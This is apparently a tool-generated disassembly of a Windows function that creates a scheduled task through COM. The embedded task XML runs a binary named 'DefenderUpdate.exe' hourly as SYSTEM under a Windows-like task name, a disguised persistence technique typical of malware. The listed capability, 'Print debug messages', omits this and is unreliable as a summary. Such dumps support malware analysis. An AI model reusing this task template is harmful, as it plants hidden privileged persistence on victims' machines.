Function at 0x140004ff0
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x170]
sub rsp, 0x270
mov rax, qword [0x140274940]
xor rax, rsp
mov qword [rbp + 0x168], rax
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitialize]
xor r15d, r15d
mov qword [rbp + 0x128], r15
lea rax, [rbp + 0x128]
mov qword [rsp + 0x20], rax
lea r9, [0x140230868]
xor edx, edx
lea r8d, [r15 + 1]
lea rcx, [0x140230878]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x1400054b4
lea rcx, [rbp - 0x28]
call qword [sym.imp.OLEAUT32.dll_VariantClear]
nop
movups xmm0, xmmword [rbp - 0x28]
movups xmmword [rsp + 0x60], xmm0
movsd xmm0, qword [rbp - 0x18]
movsd qword [rbp + 0x120], xmm0
lea rcx, [rbp - 0x40]
call qword [sym.imp.OLEAUT32.dll_VariantClear]
nop
movups xmm0, xmmword [rbp - 0x40]
movups xmmword [rbp - 0x80], xmm0
movsd xmm0, qword [rbp - 0x30]
movsd qword [rsp + 0x50], xmm0
lea rcx, [rbp - 0x58]
call qword [sym.imp.OLEAUT32.dll_VariantClear]
nop
movups xmm0, xmmword [rbp - 0x58]
movups xmmword [rsp + 0x70], xmm0
movsd xmm0, qword [rbp - 0x48]
movsd qword [rsp + 0x58], xmm0
lea rcx, [rbp - 0x70]
call qword [sym.imp.OLEAUT32.dll_VariantClear]
nop
movups xmm0, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0x40], xmm0
movsd xmm0, qword [rbp + 0x120]
movsd qword [rbp + 0x50], xmm0
movups xmm0, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0x60], xmm0
movsd xmm0, qword [rsp + 0x50]
movsd qword [rbp + 0x70], xmm0
movups xmm0, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0x80], xmm0
movsd xmm0, qword [rsp + 0x58]
movsd qword [rbp + 0x90], xmm0
movups xmm0, xmmword [rbp - 0x70]
movaps xmmword [rbp + 0xa0], xmm0
movsd xmm1, qword [rbp - 0x60]
movsd qword [rbp + 0xb0], xmm1
mov rcx, qword [rbp + 0x128]
mov rax, qword [rcx]
lea rdx, [rbp + 0x40]
mov qword [rsp + 0x20], rdx
lea r9, [rbp + 0x60]
lea r8, [rbp + 0x80]
lea rdx, [rbp + 0xa0]
call qword [rax + 0x50]
mov ebx, eax
lea rcx, [rbp - 0x70]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
lea rcx, [rbp - 0x58]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
lea rcx, [rbp - 0x40]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
lea rcx, [rbp - 0x28]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
test ebx, ebx
js 0x1400054b4
mov qword [rbp + 0x120], r15
lea ecx, [r15 + 0x18]
call fcn.14000c59c
mov rbx, rax
mov qword [rsp + 0x58], rax
test rax, rax
je 0x1400051d4
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rax
mov qword [rbx + 8], r15
mov dword [rbx + 0x10], 1
lea rcx, [0x14023d710]
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
test rax, rax
je 0x1400054f3
jmp 0x1400051d7
mov rbx, r15
mov qword [rbp - 0x80], rbx
test rbx, rbx
je 0x140005514
mov rcx, qword [rbp + 0x128]
mov rax, qword [rcx]
lea r8, [rbp + 0x120]
mov rdx, qword [rbx]
call qword [rax + 0x38]
mov edi, eax
mov esi, 0xffffffff
mov ecx, esi
lock xadd dword [rbx + 0x10], ecx
cmp ecx, 1
jne 0x14000523e
mov rcx, qword [rbx]
test rcx, rcx
je 0x14000521f
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], r15
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x140005231
call fcn.140004410
mov qword [rbx + 8], r15
mov edx, 0x18
mov rcx, rbx
call fcn.140004410
test edi, edi
js 0x1400054a7
lea rcx, [rbp + 0x20]
call qword [sym.imp.OLEAUT32.dll_VariantClear]
nop
movups xmm0, xmmword [rbp + 0x20]
movups xmmword [rsp + 0x70], xmm0
movsd xmm0, qword [rbp + 0x30]
movsd qword [rsp + 0x58], xmm0
lea rcx, [rbp + 8]
call qword [sym.imp.OLEAUT32.dll_VariantClear]
nop
movups xmm0, xmmword [rbp + 8]
movups xmmword [rsp + 0x60], xmm0
movsd xmm0, qword [rbp + 0x18]
movsd qword [rsp + 0x50], xmm0
lea rcx, [rbp - 0x10]
call qword [sym.imp.OLEAUT32.dll_VariantClear]
nop
movups xmm0, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0xc0], xmm0
movsd xmm0, qword [rsp + 0x58]
movsd qword [rbp + 0xd0], xmm0
movups xmm0, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0xe0], xmm0
movsd xmm0, qword [rsp + 0x50]
movsd qword [rbp + 0xf0], xmm0
movups xmm0, xmmword [rbp - 0x10]
movaps xmmword [rbp + 0x100], xmm0
movsd xmm1, qword [rbp]
movsd qword [rbp + 0x110], xmm1
mov ecx, 0x18
call fcn.14000c59c
mov rdi, rax
mov qword [rsp + 0x58], rax
test rax, rax
je 0x140005324
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rax
mov qword [rdi + 8], r15
mov dword [rdi + 0x10], 1
lea rcx, str.__xml_version__1.0__encoding__UTF_16____n_Task_version__1.2__xmlns__http:__schemas.microsoft.com_windows_2004_02_mit_task___n_RegistrationInfo__n____Date_2024_04_24T15:14:37.1633153__Date__n____Author___Author__n____URI_MicrosoftWindowsSpeechMyTask__URI__n___RegistrationInfo__n__Triggers__n____TimeTrigger__n______Repetition__n________Interval_PT1H__Interval__n________StopAtDurationEnd_false__StopAtDurationEnd__n_______Repetition__n______StartBoundary_2004_01_01T00:00:00__StartBoundary__n______Enabled_true__Enabled__n______RandomDelay_PT1M__RandomDelay__n_____TimeTrigger__n___Triggers__n__Principals__n____Principal_id_Author___n______UserId_S_1_5_18__UserId__n______RunLevel_HighestAvailable__RunLevel__n_____Principal__n___Principals__n__Settings__n____MultipleInstancesPolicy_IgnoreNew__MultipleInstancesPolicy__n____DisallowStartIfOnBatteries_false__DisallowStartIfOnBatteries__n____StopIfGoingOnBatteries_false__StopIfGoingOnBatteries__n____AllowHardTerminate_false__AllowHardTerminate__n____StartWhenAvailable_true__StartWhenAvailable__n____RunOnlyIfNetworkAvailable_true__RunOnlyIfNetworkAvailable__n____IdleSettings__n______StopOnIdleEnd_false__StopOnIdleEnd__n______RestartOnIdle_false__RestartOnIdle__n_____IdleSettings__n____AllowStartOnDemand_true__AllowStartOnDemand__n____Enabled_true__Enabled__n____Hidden_false__Hidden__n____RunOnlyIfIdle_false__RunOnlyIfIdle__n____WakeToRun_true__WakeToRun__n____ExecutionTimeLimit_PT0S__ExecutionTimeLimit__n____Priority_7__Priority__n___Settings__n__Actions_Context_Author___n____Exec__n______Command_C:Program_Files__x86_Common_FilesSystemDefenderUpdate.exe__Command__n______Arguments_11__Arguments__n_____Exec__n___Actions__n__Task_
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rdi], rax
test rax, rax
je 0x1400054fe
jmp 0x140005327
mov rdi, r15
mov qword [rsp + 0x58], rdi
test rdi, rdi
je 0x14000551f
mov ecx, 0x18
call fcn.14000c59c
mov rbx, rax
mov qword [rsp + 0x50], rax
test rax, rax
je 0x14000537e
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rax
mov qword [rbx + 8], r15
mov dword [rbx + 0x10], 1
lea rcx, str.Backupdata
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
test rax, rax
je 0x140005509
jmp 0x140005381
mov rbx, r15
mov qword [rsp + 0x60], rbx
test rbx, rbx
je 0x1400054e8
mov rcx, qword [rbp + 0x120]
mov rax, qword [rcx]
mov qword [rsp + 0x40], r15
lea rdx, [rbp + 0xc0]
mov qword [rsp + 0x38], rdx
mov dword [rsp + 0x30], 3
lea rdx, [rbp + 0xe0]
mov qword [rsp + 0x28], rdx
lea rdx, [rbp + 0x100]
mov qword [rsp + 0x20], rdx
mov r9d, 2
mov r8, qword [rdi]
mov rdx, qword [rbx]
call qword [rax + 0x80]
mov r14d, eax
mov ecx, esi
lock xadd dword [rbx + 0x10], ecx
cmp ecx, 1
jne 0x14000541c
mov rcx, qword [rbx]
test rcx, rcx
je 0x1400053fc
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], r15
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x14000540e
call fcn.140004410
mov qword [rbx + 8], r15
mov edx, 0x18
mov rcx, rbx
call fcn.140004410
nop
lock xadd dword [rdi + 0x10], esi
cmp esi, 1
jne 0x140005457
mov rcx, qword [rdi]
test rcx, rcx
je 0x140005437
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rdi], r15
mov rcx, qword [rdi + 8]
test rcx, rcx
je 0x140005449
call fcn.140004410
mov qword [rdi + 8], r15
mov edx, 0x18
mov rcx, rdi
call fcn.140004410
nop
lea rcx, [rbp - 0x10]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
lea rcx, [rbp + 8]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
lea rcx, [rbp + 0x20]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
mov r8d, r14d
lea rdx, str.HRESULT_value:_0x_08X
lea rcx, [rbp + 0x130]
call fcn.140009420
lea rcx, [rbp + 0x130]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov rcx, qword [rbp + 0x120]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov rcx, qword [rbp + 0x128]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
call qword [sym.imp.ole32.dll_CoUninitialize]
xor eax, eax
mov rcx, qword [rbp + 0x168]
xor rcx, rsp
call fcn.1401a6530
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
mov ecx, 0x8007000e
call fcn.1401a7580
nop
mov ecx, 0x8007000e
call fcn.1401a7580
nop
mov ecx, 0x8007000e
call fcn.1401a7580
nop
mov ecx, 0x8007000e
call fcn.1401a7580
nop
mov ecx, 0x8007000e
call fcn.1401a7580
nop
mov ecx, 0x8007000e
call fcn.1401a7580
int3